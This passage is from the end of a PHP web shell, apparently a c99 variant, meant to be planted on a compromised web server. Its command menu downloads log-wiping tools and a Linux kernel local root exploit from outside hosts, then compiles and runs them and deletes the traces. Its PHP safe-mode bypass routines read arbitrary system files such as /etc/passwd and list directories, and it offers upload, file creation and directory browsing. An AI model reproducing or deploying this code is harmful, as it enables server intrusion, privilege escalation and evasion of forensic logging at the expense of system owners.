2821 <OPTION VALUE="">
2822 <OPTION VALUE="which wget curl w3m lynx">Check For Downloaders (WGET, et cetera)
2823 <OPTION VALUE="locate gcc">Check For GCC
2824 <OPTION VALUE="">
2825 <OPTION VALUE="#"> [Log Cleaners]
2826 <OPTION VALUE="">
2827 <OPTION VALUE="wget http://packetstormsecurity.org/UNIX/penetration/log-wipers/logcleaner-0.3.c">Wipelogs (Part 1)(Zap3)
2828 <OPTION VALUE="gcc logcleaner-0.3.c -o logcleaner-0.3">Wipelogs (Part 2)(Zap3)
2829 <OPTION VALUE="./logcleaner-0.3 <? echo $_SERVER["REMOTE_ADDR"]; ?>">Wipelogs (Part 3)(Zap3)
2830 <OPTION VALUE="Gone!<? if($_REQUEST['cmd']=="Gone!") { if (file_exists("logcleaner-0.3.c")) { unlink("logcleaner-0.3.c"); } if (file_exists("logcleaner-0.3")) { unlink("logcleaner-0.3"); } } ?>">Remove All Zap3 Traces
2831 <OPTION VALUE="">
2832 <OPTION VALUE="wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/vanish.c">Wipelogs (Part 1)(Vanish)
2833 <OPTION VALUE="gcc vanish.c -o vanish">Wipelogs (Part 2)(Vanish)
2834 <OPTION VALUE="./vanish <? echo exec('whoami'); ?> <? echo $_SERVER["REMOTE_ADDR"]; ?> <? echo gethostbyname($_SERVER["HTTP_HOST"]); ?>">Wipelogs (Part 3)(Vanish)
2835 <OPTION VALUE="Gone!!<? if($_REQUEST['cmd']=="Gone!!") { if (file_exists("vanish.c")) { unlink("vanish.c"); } if (file_exists("vanish")) { unlink("vanish"); } } ?>">Remove All Vanish Traces
2836 <OPTION VALUE="">
2837 <OPTION VALUE="#"> [Root Exploits]
2838 <OPTION VALUE="">
2839 <OPTION VALUE="wget http://www.synsta.templatez.org/1.txt">Linux Kernel 2.6.13 - 2.6.17.4 Local Root Exploit (Part 1)
2840 <OPTION VALUE="mv 1.txt exploit.c">Linux Kernel 2.6.13 - 2.6.17.4 Local Root Exploit (Part 2)
2841 <OPTION VALUE="gcc exploit.c -o exploit">Linux Kernel 2.6.13 - 2.6.17.4 Local Root Exploit (Part 3)
2842 <OPTION VALUE="./exploit">Linux Kernel 2.6.13 - 2.6.17.4 Local Root Exploit (Part 4)
2843 <OPTION VALUE="Gone!!!<? if($_REQUEST['cmd']=="Gone!!!") { if (file_exists("exploit.c")) { unlink("exploit.c"); } if (file_exists("1.txt")) { unlink("1.txt"); } if (file_exists("exploit")) { unlink("exploit"); } } ?>">Remove All Exploit Traces
2844 </SELECT>
2845
2846 <input type=hidden name="cmd_txt" value="1">
2847 &nbsp;
2848 <input type=submit name=submit value="Execute"></div>
2849 </form>
2850 </td>
2851 <td width="50%" height="83" valign="top"><center>
2852 <center><br/><b> Kernel Information </b>
2853<form action=http://google.com/search name=f><input type=hidden name=client value="firefox-a"><input type=hidden name=rls value="org.mozilla:en-US:official_s"><input type=hidden name=hl value=en><input id=sf maxLength=256 name=q value="<?php echo wordwrap(php_uname()); ?>" size=80>
2854&nbsp;
2855<input type=submit value="Search" name=btnG></form>
2856</center>
2857 </td>
2858</tr></TABLE>
2859<br>
2860<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
2861<tr>
2862 <td width="50%" height="83" valign="top"><center>
2863 <div align="center"><strong>PHP Safe-Mode Bypass (Read Files) </strong></div>
2864 <br>
2865 <form action="<?php echo $surl; ?>" method="post">
2866 <div align="center">
2867 File: <input type="text" name="file"> <input type="submit" value="Read File"><br><br> eg: /etc/passwd<br>
2868 <?php
2869 function rsg_read()
2870 {
2871 $test="";
2872 $temp=tempnam($test, "cx");
2873 $file=$_REQUEST['file'];
2874 $get=htmlspecialchars($file);
2875 echo "</br>Trying To Get File <font color=#000099><b>$get</b></font><br>";
2876 if(copy("compress.zlib://".$file, $temp)){
2877 $fichier = fopen($temp, "r");
2878 $action = fread($fichier, filesize($temp));
2879 fclose($fichier);
2880 $source=htmlspecialchars($action);
2881
2882
2883 echo "<div class=\"shell\"></br><b>Reading $get:</b><br><br><textarea rows=10 cols=50>$source</textarea><br>";
2884 unlink($temp);
2885 } else {
2886 echo("</br><FONT COLOR=\"RED\"><CENTER>Sorry... File
2887 <B>".htmlspecialchars($file)."</B> dosen't exists or you don't have
2888 access.</CENTER></FONT>");
2889 }
2890 echo "</div>";
2891 }
2892
2893 if(isset($_REQUEST['file']))
2894{
2895rsg_read();
2896}
2897
2898 ?>
2899
2900 <?
2901
2902 function rsg_glob()
2903{
2904$chemin=$_REQUEST['directory'];
2905$files = glob("$chemin*");
2906echo "</br>Trying To List Folder <font color=#000099><b>$chemin</b></font><br>";
2907foreach ($files as $filename) {
2908 echo "<pre>";
2909 echo "$filename\n";
2910 echo "</pre>";
2911}
2912}
2913
2914if(isset($_REQUEST['directory']))
2915{
2916rsg_glob();
2917}
2918
2919?>
2920
2921 <br>
2922 </div>
2923 </form>
2924 </td>
2925 <td width="50%" height="83" valign="top"><center>
2926 <center>
2927 <strong>PHP Safe-Mode Bypass (List Directories)</strong>:
2928 <form action="<?php echo $surl; ?>" method="post">
2929 <div align="center"><br>
2930 Dir: <input type="text" name="directory"> <input type="submit" value="List Directory"><br><br> eg: /etc/<br>
2931
2932 </form></center>
2933 </td>
2934</tr></TABLE>
2935<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
2936<tr>
2937 <td width="50%" height="1" valign="top"><center>
2938 <b>Search</b>
2939 <form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1" checked> - regexp&nbsp;<input type=submit name=submit value="Search"></form></center></p></td>
2940 <td width="50%" height="1" valign="top"><center>
2941 <b>Upload</b>
2942 <form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1">&nbsp;<input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td>
2943</tr>
2944</table>
2945<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center>
2946 <b><strong>Create Directory
2947 </strong>
2948 <p><form action="<?php echo $PHP_SELF; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center>
2949 <strong>Create File </strong>
2950 <form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table>
2951
2952<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center>
2953 <b>Enter Directory </b>
2954 <form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center>
2955 <b>Access File</b>
2956 <form action="<?php echo $surl; ?>"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td></tr></table>
2957</td>
2958</tr>
2959</TABLE>
2960<br><TABLE width="100%" height=1 border=1 cellPadding=0 cellSpacing=0 borderColorLight=#c0c0c0 borderColorDark=#666666 bgColor=#333333 style="BORDER-COLLAPSE: collapse">
2961 <tr><td width="990" height="1" valign="top"><p align="center"><b>--[ <? echo("$shver"); ?> ]--<br>--[ Page generation time: <?php echo round(getmicrotime()-starttime,4); ?> ]--</p></td></tr></table>
2962<br/></body></html><?php chdir($lastdir); c99shexit(); ?>
Back to Top